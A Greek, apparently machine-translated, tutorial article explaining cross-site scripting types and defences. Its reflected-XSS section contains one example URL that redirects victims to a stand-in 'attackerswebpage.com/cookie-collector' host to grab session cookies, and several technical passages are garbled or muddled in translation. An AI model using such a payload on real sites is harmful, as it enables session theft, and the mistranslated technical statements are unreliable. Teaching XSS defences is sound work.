Το σενάριο μεταξύ ιστότοπων ή το XSS μπορεί να είναι μια ισχυρή και γρήγορη επίθεση. Ως προγραμματιστής, ίσως να το πάρετε για ένα σφάλμα στον κώδικά σας και να καταλήξετε να αναζητάτε σφάλματα που δεν υπάρχουν.
Ως πελάτης που χρησιμοποιεί τον ευάλωτο ιστότοπο, μπορείτε επίσης να αποκαλύψετε αθώα ζωτικές πληροφορίες σχετικά με την πρόσβαση ελέγχου ταυτότητας στον εισβολέα.
Τι είναι λοιπόν το σενάριο μεταξύ ιστότοπων; Πώς μπορούν να το χρησιμοποιήσουν οι εισβολείς για να εισέλθουν σε έναν ιστότοπο και να κλέψουν τα δεδομένα σας; Και πώς μπορείτε να μετριάσετε έναν τέτοιο κίνδυνο;
Τι είναι το σενάριο μεταξύ ιστότοπων;
Το σενάριο μεταξύ ιστότοπων ή το XSS συμβαίνει εάν το σενάριο από κακόβουλο ιστότοπο αλληλεπιδρά με κώδικα σε ένα ευάλωτο.
Ωστόσο, οι διακομιστές είναι ενσύρματοι με τρόπο που εμποδίζει την πρόσβαση και την επεξεργασία του πηγαίου κώδικα του ιστότοπού σας χωρίς άτομα με έλεγχο ταυτότητας.
Το Διαδίκτυο χρησιμοποιεί την ίδια πολιτική προέλευσης (SOP) για τον αποκλεισμό αλληλεπιδράσεων μεταξύ ιστότοπων. Ωστόσο, το SOP ελέγχει τρία μεγάλα κενά ασφαλείας και προσπαθεί να τα μετριάσει. Αυτοί είναι:
- Πολιτική πρωτοκόλλου Διαδικτύου που ελέγχει εάν και οι δύο ιστότοποι παρέχουν περιεχόμενο σε ασφαλές SSL (HTTPS) ή μη ασφαλές URL (HTTP).
- Η ίδια πολιτική φιλοξενίας ιστού, η οποία διασφαλίζει ότι φιλοξενείτε και τους δύο ιστότοπους στον ίδιο τομέα.
- Η πολιτική λιμένων που ελέγχει εάν και οι δύο ιστότοποι χρησιμοποιούν παρόμοια τελικά σημεία επικοινωνίας.
Η SOP υποστηρίζει ότι εάν κάποια από αυτές τις πολιτικές είναι διαφορετική για δύο ιστότοπους, δεν μπορεί να διαβάσει ή να ανταλλάξει δεδομένα μέσω του διαδικτύου.
Αλλά η JavaScript είναι μια χειραγώγηση γλώσσα που καθορίζει την ανταπόκριση ενός ιστότοπου. Ενώ το JavaScript του ιστότοπού σας είναι πιθανότατα σε ξεχωριστό αρχείο, μπορείτε επίσης να δημιουργήσετε μια ετικέτα σεναρίου και να την γράψετε στο μοντέλο αντικειμένου εγγράφου (DOM).
Έτσι, ένας εισβολέας XSS μπορεί να σκεφτεί: "αν μπορείτε να γράψετε JavaScript σε DOM, τότε τελικά μπορείτε να το εκτελέσετε οποιοδήποτε πρόγραμμα επεξεργασίας κώδικα ή πεδίο εισαγωγής που δέχεται ετικέτες HTML. "
Μια τέτοια ευπάθεια και πιθανότητα είναι αυτό που ένας εισβολέας που χρησιμοποιεί XSS αναζητά σε έναν ιστότοπο προορισμού. Μόλις βρουν ένα τέτοιο κενό, μπορούν να παρακάμψουν το SOP.
Σχετιζομαι με: Το απόλυτο φύλλο εξαπάτησης JavaScript
Το XSS, επομένως, είναι μια επίθεση που χρησιμοποιούν οι εισβολείς για να εισάγουν ένα σενάριο που εκτελεί κακόβουλη ενέργεια σε έναν ευάλωτο ιστότοπο. Το σενάριο μπορεί να στοχεύει μη προστατευμένες φόρμες ή πεδία εισαγωγής που δέχονται δεδομένα.
Πώς λειτουργεί και τύποι δέσμης ενεργειών μεταξύ ιστότοπων, με παραδείγματα
Το XSS μπορεί να είναι μια γρήγορη εκτέλεση ανακλαστικού ή προσωρινού σεναρίου που τοποθετεί ένας εισβολέας σε φόρμες όπως πεδία αναζήτησης. Μπορεί επίσης να είναι ενοχλητικό ή επίμονο να εισάγεται στη βάση δεδομένων. Ή θα μπορούσε να έρθει παθητικά μετά τη φόρτωση μιας σελίδας.
Σε ορισμένες περιπτώσεις, αυτό το σενάριο μπορεί επίσης να αλλάξει την αρχική εισαγωγή ενός θύματος για να εκτρέψει την πρόθεσή του. Μια επίμονη αλλαγή στις εισόδους ενός χρήστη όπως αυτό είναι ένα μεταλλαγμένο XSS.
Σε οποιαδήποτε μορφή, ο στόχος μιας επίθεσης XSS είναι να κλέψει τα δεδομένα ενός θύματος μέσω εκτεθειμένων cookie και αρχείων καταγραφής.
Ας δούμε μια σύντομη εξήγηση για κάθε έναν από αυτούς τους τύπους επίθεσης XSS και τα παραδείγματά τους για να καταλάβουμε τι είναι.
Τι είναι το Reflected XSS;
Ένα ανακλαστικό ή προσωρινό XSS είναι μια άμεση ένεση JavaScript στο πεδίο εισαγωγής ενός χρήστη. Στοχεύει αιτήματα που λαμβάνουν δεδομένα από τη βάση δεδομένων, όπως αποτελέσματα αναζήτησης. Αλλά είναι μια επίθεση με έναν πελάτη.
Κατά τη διάρκεια ενός ανακλαστικού XSS, ένας εισβολέας εισάγει ένα σενάριο στον όρο αναζήτησης ενός θύματος στόχου. Ένα τέτοιο JavaScript μπορεί να είναι ηχώ, ανακατεύθυνση ή συλλέκτης cookie.
Το σενάριο που εισάγεται στο πεδίο εισαγωγής αναζήτησης εκτελείται στη συνέχεια μόλις ο πελάτης-στόχος υποβάλει το ερώτημά του.
Για παράδειγμα, κατά την αναζήτηση ενός χρήστη, ένας εισβολέας μπορεί να εισαγάγει μια JavaScript που θυμίζει μια φόρμα, ζητώντας από το θύμα να εισαγάγει τον κωδικό πρόσβασης ή το όνομα χρήστη του. Μόλις ο χρήστης το κάνει αυτό, ενδέχεται να καταθέσουν τα διαπιστευτήριά τους χωρίς να το γνωρίζουν σε έναν εισβολέα, θεωρώντας ότι είναι ένα αίτημα από τον αρχικό ιστότοπο.
Μερικές φορές, ο εισβολέας μπορεί επίσης να χρησιμοποιήσει ένα σενάριο για να ανακατευθύνει έναν χρήστη από την ευάλωτη σελίδα στη σελίδα του. Εκεί στη σελίδα του εισβολέα, ένας ανυποψίαστος χρήστης μπορεί στη συνέχεια να εξαπατηθεί να υποβάλει μερικές φόρμες, οδηγώντας σε διαρροή διαπιστευτηρίων.
Ομοίως, εάν ο στόχος είναι να κλέψει μια περίοδο λειτουργίας χρήστη, ο εισβολέας εισάγει ένα σενάριο συλλογής cookie στον όρο αναζήτησης του χρήστη. Στη συνέχεια, εισβάλλουν στην τρέχουσα περίοδο λειτουργίας του χρήστη, κλέβουν σχετικές πληροφορίες και αναλαμβάνουν τις δραστηριότητες του θύματος.
Το παρακάτω παράδειγμα επίθεσης XSS κλέβει το cookie ενός χρήστη μέσω ενός αιτήματος GET:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
Στο παραπάνω παράδειγμα XSS, ο εισβολέας βρίσκει ένα κενό στον ευάλωτο ιστότοπο. Έτσι, όταν ένας χρήστης αναζητά έναν μη διαθέσιμο πόρο στον ευάλωτο ιστότοπο, τους ανακατευθύνει στη σελίδα του εισβολέα. Στη συνέχεια, ο εισβολέας χτυπά το cookie του τρέχοντος χρήστη και αρπάζει τη συνεδρία του.
Ωστόσο, αυτή η ευπάθεια είναι κοινή όταν η ενέργεια ερωτήματος ενός ιστότοπου δεν φιλτράρεται για να ελέγχει τις ενέσεις σεναρίων μέσω HTML.
Αλλά ακόμη και αν υπάρχει φιλτραρισμένο ερώτημα, ένας εισβολέας μπορεί να το παρακάμψει καταφεύγοντας σε απελπιστικά μέτρα όπως η αποστολή συνδέσμων σε πιθανούς χρήστες ενός ιστότοπου σε πραγματικό χρόνο. Μπορούν να το κάνουν χρησιμοποιώντας οποιοδήποτε μορφή κοινωνικής μηχανικής στη διάθεσή τους.
Σχετιζομαι με: Τι να κάνετε μετά την πτώση για μια επίθεση ηλεκτρονικού ψαρέματος
Μόλις τα θύματα κάνουν κλικ σε έναν τέτοιο σύνδεσμο, ο εισβολέας μπορεί τώρα να εκτελέσει με επιτυχία την επίθεση XSS και να κλέψει σχετικά δεδομένα από το θύμα.
Η διαρκής ή αποθηκευμένη δέσμη ενεργειών μεταξύ ιστότοπων
Το αποθηκευμένο XSS δημιουργεί περισσότερες απειλές. Σε αυτήν την περίπτωση, ένας εισβολέας αποθηκεύει το σενάριο στη βάση δεδομένων ενός ιστότοπου, προκαλώντας μια συνεχή εκτέλεση του αποθηκευμένου σεναρίου. Ο αποθηκευμένος κώδικας μπορεί να εκτελεστεί κατά τη φόρτωση σελίδας ή μετά τη φόρτωση της σελίδας.
Σε αντίθεση με την προσωρινή μορφή XSS, ένα αποθηκευμένο XSS στοχεύει ολόκληρη τη βάση χρηστών του ευάλωτου ιστότοπου. Εκτός από αυτό, στοχεύει επίσης την ακεραιότητα του ιστότοπου που επηρεάζεται.
Κατά τη διάρκεια ενός επίμονου XSS, ένας εισβολέας χρησιμοποιεί πεδία εισαγωγής όπως φόρμες σχολίων για να δημοσιεύσει το σενάριο στη βάση δεδομένων ενός ιστότοπου.
Τι γίνεται όμως αν προστατεύετε τα πεδία POST με διακριτικά CSRF; Δυστυχώς, το αποθηκευμένο σενάριο μεταξύ ιστότοπων παρακάμπτει τους ελέγχους CSRF.
Αυτό συμβαίνει επειδή ο εισβολέας υποβάλλει μια φόρμα όπως κάθε άλλος χρήστης του ιστότοπου. Έτσι, μια τέτοια φόρμα σχολίων στέλνει το σενάριο στη βάση δεδομένων όπως και όλα τα άλλα σχόλια.
Μια τέτοια επίθεση μπορεί να συμβεί όταν τα πεδία εισαγωγής σε έναν ιστότοπο δεν χρησιμοποιούν κατάλληλα απολυμαντικά για διαφυγή σεναρίων και ετικετών HTML.
Φανταστείτε έναν χρήστη να δημοσιεύει το παρακάτω σενάριο χρησιμοποιώντας μια φόρμα σχολίου Ιστού:
Όταν ένας εισβολέας εισάγει έναν τέτοιο κωδικό στη βάση δεδομένων ενός ιστότοπου, συνεχίζει να ανακατευθύνει ένα θύμα στον ιστότοπο του εισβολέα κατά τη φόρτωση της σελίδας. Το σενάριο θα μπορούσε επίσης να είναι μια ειδοποίηση, ένα διαδραστικό τροπικό πλαίσιο ή μια ενσωματωμένη κακόβουλη διαφήμιση.
Επειδή το σενάριο ανακατευθύνει κατά τη φόρτωση της σελίδας, ένα θύμα που δεν είναι εξοικειωμένο με τον ευάλωτο ιστότοπο ενδέχεται να μην καταλάβει την ανακατεύθυνση.
Στη συνέχεια αλληλεπιδρούν με τον ιστότοπο του εισβολέα. Ωστόσο, ο αεροπειρατής μπορεί στη συνέχεια να χρησιμοποιήσει διάφορα μέσα για να πάρει πληροφορίες από τα θύματα μόλις βρεθούν στην ιστοσελίδα τους.
Τι είναι το DOM ή το Passive XSS;
Ένα XSS που βασίζεται σε DOM εκτελεί έναν κακόβουλο κώδικα που είναι ενσωματωμένος στον ιστότοπο, αναγκάζοντας ολόκληρο το DOM από την πλευρά του πελάτη να συμπεριφέρεται ασυνήθιστα.
Ενώ το XSS αποθηκεύεται και αντανακλά στοχεύει αιτήματα από την πλευρά του διακομιστή σε έναν ιστότοπο, ένα DOM XSS στοχεύει δραστηριότητες εκτέλεσης. Λειτουργεί εισάγοντας ένα σενάριο σε ένα στοιχείο του ιστότοπου που εκτελεί μια συγκεκριμένη εργασία. Αυτό το στοιχείο δεν εκτελεί ενέργεια από διακομιστή.
Ωστόσο, το σενάριο που εισάγεται σε ένα τέτοιο στοιχείο αλλάζει εντελώς την πρόθεσή του. Εάν αυτό το στοιχείο εκτελεί μια εργασία που σχετίζεται με το DOM, όπως αυτές που αλλάζουν τα στοιχεία ενός ιστότοπου, το σενάριο ενδέχεται να αναγκάσει την αλλαγή ολόκληρης της ιστοσελίδας.
Σε χειρότερες περιπτώσεις, ένα XSS που βασίζεται σε DOM μπορεί να μιμηθεί ένα σφάλμα. Αυτό συμβαίνει επειδή η ιστοσελίδα γίνεται ασυνήθιστα αντιδραστική.
Πώς να αποτρέψετε την επίθεση σεναρίων μεταξύ ιστότοπων
Μια ευπάθεια XSS προέρχεται από την ακατάλληλη χρήση βέλτιστων πρακτικών backend. Επομένως, η αποτροπή μιας επίθεσης σεναρίων μεταξύ ιστότοπων είναι συνήθως ευθύνη του προγραμματιστή. Αλλά οι χρήστες έχουν επίσης ρόλο να παίξουν.
Η χρήση ενός διακριτικού CSFR για πεδία εισαγωγής δεν φαίνεται σαν λύση σε επιθέσεις XSS. Και δεδομένου ότι αυτή η επίθεση παρακάμπτει επίσης την ίδια πολιτική προέλευσης, οι προγραμματιστές πρέπει να είναι προσεκτικοί για να μην παραλείψουν πρακτικές ασφαλείας που αποτρέπουν το XSS.
Τα ακόλουθα προληπτικά μέτρα είναι χρήσιμα για τους προγραμματιστές.
Απολύστε τα πεδία εισαγωγής
Για να αποτρέψετε τόσο το αποθηκευμένο όσο και το προσωρινό XSS, θα πρέπει να χρησιμοποιείτε αποτελεσματικά απολυμαντικά για πεδία εισαγωγής Η απολύμανση των ερωτημάτων αναζήτησης, για παράδειγμα, αποτρέπει την εισαγωγή ετικετών στους όρους αναζήτησης των χρηστών.
Χρησιμοποιήστε το Unicode και το HTML Auto Escape
Είναι χρήσιμο να χρησιμοποιείτε την αυτόματη διαφυγή HTML και Unicode για να αποτρέψετε την αποδοχή σεναρίων και ετικετών HTML σε πεδία εισαγωγής, όπως σχόλια και φόρμες μετατροπής. Η αυτόματη διαφυγή είναι ένα ισχυρό προληπτικό μέτρο κατά του αποθηκευμένου ή επίμονου XSS.
Το να επιτρέπεται στους χρήστες να εισάγουν ετικέτες σε φόρμες σχολίων είναι κακή ιδέα για οποιονδήποτε ιστότοπο. Είναι παραβίαση ασφαλείας. Ωστόσο, εάν πρέπει να το επιτρέψετε, θα πρέπει να αποδεχτείτε μόνο ετικέτες που δεν αποτελούν απειλές XSS.
Χρησιμοποιήστε την κατάλληλη επικύρωση εισαγωγής
Ακόμα κι αν αποκλείσετε εντελώς τις ετικέτες, ένας εισβολέας μπορεί ακόμα να πραγματοποιήσει επίθεση XSS μέσω κοινωνικών μέσων. Μπορούν να στείλουν email αντί να τοποθετούν οτιδήποτε απευθείας στον ευάλωτο ιστότοπο.
Επομένως, μια άλλη μέθοδος πρόληψης είναι η αποτελεσματική επικύρωση εισόδων. Τέτοια μέτρα περιλαμβάνουν την επικύρωση πρωτοκόλλων και τη διασφάλιση ότι ο ιστότοπός σας δέχεται μόνο εισόδους από ασφαλή HTTPS και όχι HTTP.
Η χρήση αποκλειστικών βιβλιοθηκών JavaScript όπως το dompurify μπορεί επίσης να βοηθήσει στον αποκλεισμό παραβιάσεων ασφαλείας που σχετίζονται με το XSS.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως Σαρωτής XSS ή GEEKFLARE για να ελέγξετε για ευπάθειες XSS στον ιστότοπό σας.
Πώς μπορούν οι χρήστες να αποτρέψουν το XSS
Υπάρχουν εκατομμύρια ιστοσελίδες στο Διαδίκτυο σήμερα. Έτσι δεν μπορείτε να πείτε ποιος έχει προβλήματα ασφάλειας XSS.
Ωστόσο, ως χρήστης, πρέπει να διασφαλίσετε ότι είστε εξοικειωμένοι με οποιαδήποτε υπηρεσία ιστού πριν τη χρησιμοποιήσετε. Εάν μια ιστοσελίδα γίνει ξαφνικά ανατριχιαστική ή αρχίσει να συμπεριφέρεται ασυνήθιστα, αυτό μπορεί να είναι μια κόκκινη σημαία.
Όποια και αν είναι η περίπτωση, προσέξτε να μην αποκαλύψετε προσωπικά δεδομένα σε μη αξιόπιστο τρίτο μέρος. Στη συνέχεια, αναζητήστε ανεπιθύμητα μηνύματα ηλεκτρονικού ταχυδρομείου ή ύποπτες δημοσιεύσεις στα μέσα κοινωνικής δικτύωσης που μπορεί να οδηγήσουν σε οποιαδήποτε μορφή επιθέσεων ηλεκτρονικού ψαρέματος.
Καμία μεμονωμένη προληπτική μέθοδος δεν ταιριάζει σε όλους
Έχουμε δει πώς φαίνεται μια επίθεση XSS και πώς να την αποτρέψουμε. Είναι εύκολο να ξεχάσετε τους ελέγχους ασφαλείας XSS κατά τη διάρκεια της ανάπτυξης. Επομένως, οι προγραμματιστές πρέπει να λάβουν μέτρα για να διασφαλίσουν ότι δεν παραλείπεται η προστασία. Ωστόσο, ο συνδυασμός των προληπτικών μέτρων που αναφέραμε νωρίτερα λειτουργεί καλύτερα.
Για να σταματήσετε να χάνετε μετρητά και διαπιστευτήρια σε επιθέσεις CSRF, τόσο οι προγραμματιστές όσο και οι χρήστες πρέπει να παίξουν ρόλο.
- Ασφάλεια
- JavaScript
- Ασφάλεια προγράμματος περιήγησης
Το Idowu είναι παθιασμένο με οτιδήποτε έξυπνη τεχνολογία και παραγωγικότητα. Στον ελεύθερο χρόνο του, παίζει με την κωδικοποίηση και αλλάζει στη σκακιέρα όταν βαριέται, αλλά αγαπά επίσης να ξεφεύγει από τη ρουτίνα κάποτε. Το πάθος του για να δείξει στους ανθρώπους το δρόμο γύρω από τη σύγχρονη τεχνολογία τον παρακινεί να γράφει περισσότερα.
Εγγραφείτε στο Newsletter μας
Εγγραφείτε στο ενημερωτικό δελτίο μας για τεχνικές συμβουλές, κριτικές, δωρεάν ebook και αποκλειστικές προσφορές!
Ένα ακόμη βήμα…!
Επιβεβαιώστε τη διεύθυνση email σας στο email που μόλις σας στείλαμε.